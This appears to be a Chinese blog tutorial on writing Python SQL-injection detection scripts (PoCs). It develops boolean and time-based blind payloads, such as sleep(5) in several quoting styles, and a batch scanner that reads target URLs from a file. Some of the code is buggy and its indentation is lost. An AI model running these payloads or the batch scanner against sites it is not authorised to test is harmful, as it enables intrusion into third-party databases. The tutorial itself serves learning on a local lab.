热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

python之poc编写——sql篇

文章目录sql注入漏洞漏扫单个网站基础sql扫描多个网站sql基础扫描时间盲注型扫描升阶版sq



文章目录



  • sql注入漏洞漏扫



    • 单个网站基础sql扫描

    • 多个网站sql基础扫描



      • 时间盲注型扫描

      • 升阶版sql批量扫描





poc:即验证漏洞是否存在的脚本,也就是扫描器


兄弟们,开始写扫描器啦


sql注入漏洞漏扫

单个网站基础sql扫描

第一步,当然是写request函数啦。除了时间盲注外,1' and 1=2%23就能判断字符型的sql注入

#!/usr/bin/python
# encoding = utf-8
import requests
def poc(url):
result_rep = requests.get(url)
return len(result_rep.text)
if __name__=="__main__":
header = {"User_Agent":"Firefox/50.0"}#http头,随便写一个装装样子
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1"

result_lens = []#创建空列表用于比对后面and判断的返回包长度
rep = requests.get(url,headers=header)
normal_len = len(rep.text)#正常请求,也就是if判断正确时应该返回的数据包长度
payloads = ["\'%20and%201=1%23","\'%20and%201=2%23"]#通过单引号and 1=2来验证,用Url编码了空格
for payload in payloads:
result_len = poc(url+payload)#发包
result_lens.append(result_len)

if(result_lens[0] == normal_len & normal_len != result_lens[1]):#表示and 1=1是正确返回包的长度,而and 1=2是错误的返回包长度,也就是说单引号后的内容被mysql正确的执行
print "exists SQL Injection!"

ok,一个很辣鸡的poc产生了,我相信知道sql注入原理的伙伴看到这些个注释没可能读不懂这个脚本

那批量扫描呢?


多个网站sql基础扫描

当然是读文件啦
对上述代码进行改良:

#!/usr/bin/python
# encoding = utf-8
import requests
def poc(url):
result_rep = requests.get(url)
return len(result_rep.text)
def run(url):#把main里进行sql检验的代码进行重复调用,把这段代码写进run函数
result_lens = []
rep = requests.get(url,headers=header)
normal_len = len(rep.text)
payloads = ["\'%20and%201=1%23","\'%20and%201=2%23"]
for payload in payloads:
result_len = poc(url+payload)
result_lens.append(result_len)

if(result_lens[0] == normal_len & normal_len != result_lens[1]):
print "exists SQL Injection!"
if __name__=="__main__":
header = {"User_Agent":"Firefox/50.0"}
urls = open("url.txt",'r').readlines()#将每一行的信息保存到列表里
for url in urls:
run(url)#对url.txt内的网址批量用数据包长度比对方式进行扫描

现在将待扫网址写入url.txt中即可批量扫描,但是如果是时间盲注,那用数据返回包的长度就不能判断有无sql注入漏洞了


时间盲注型扫描

这种扫描就适用于没有过滤且为字符型的所有注入,要用到上一博客讲到的Exception进行异常判断,加在poc校验内。那都用sleep来判断了,result_len就没用了,直接删掉

#!/usr/bin/python
# encoding = utf-8
import requests
def poc(url):
try:
result_rep = requests.get(url,timeout=3)
result "no sql injection"
except Exception as e:
return "timeout"#如果sleep了,就存在sql注入漏洞
def run(url):
rep = requests.get(url,headers=header)
payloads = ["\'%20and%20sleep(5)%23"]
for payload in payloads:
result_info = poc(url+payload)
if("timeout" in result_info):
print "exist sql injection!"
if __name__=="__main__":
header = {"User_Agent":"Firefox/50.0"}
urls = open("url.txt",'r').readlines()#将每一行的信息保存到列表里
for url in urls:
run(url)#对url.txt内的网址批量用数据包长度比对方式进行扫描

py脚本扫描结果


升阶版sql批量扫描

上述脚本存在误报,就是payload只有一个单引号闭合,没办法检验数字型sql,双引号型,’)型,’))等
在payload中多加几个类型

payloads = ["\'%20and%20sleep(5)%23","\"%20and%20sleep(5)%23","%20and%20sleep(5)%23","\')%20and%20sleep(5)%23","\'))%20and%20sleep(5)%23"]

正确的批量扫描http头注入和waf注入poc下一节来讲



推荐阅读
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 关键词:Golang, Cookie, 跟踪位置, net/http/cookiejar, package main, golang.org/x/net/publicsuffix, io/ioutil, log, net/http, net/http/cookiejar ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • web.py开发web 第八章 Formalchemy 服务端验证方法
    本文介绍了在web.py开发中使用Formalchemy进行服务端表单数据验证的方法。以User表单为例,详细说明了对各字段的验证要求,包括必填、长度限制、唯一性等。同时介绍了如何自定义验证方法来实现验证唯一性和两个密码是否相等的功能。该文提供了相关代码示例。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • 分享css中提升优先级属性!important的用法总结
    web前端|css教程css!importantweb前端-css教程本文分享css中提升优先级属性!important的用法总结微信门店展示源码,vscode如何管理站点,ubu ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • PreparedStatement防止SQL注入
    添加数据:packagecom.hyc.study03;importcom.hyc.study02.utils.JDBCUtils;importjava.sql ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
  • 也就是|小窗_卷积的特征提取与参数计算
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了卷积的特征提取与参数计算相关的知识,希望对你有一定的参考价值。Dense和Conv2D根本区别在于,Den ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
author-avatar
百脑汇惠州店_956
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有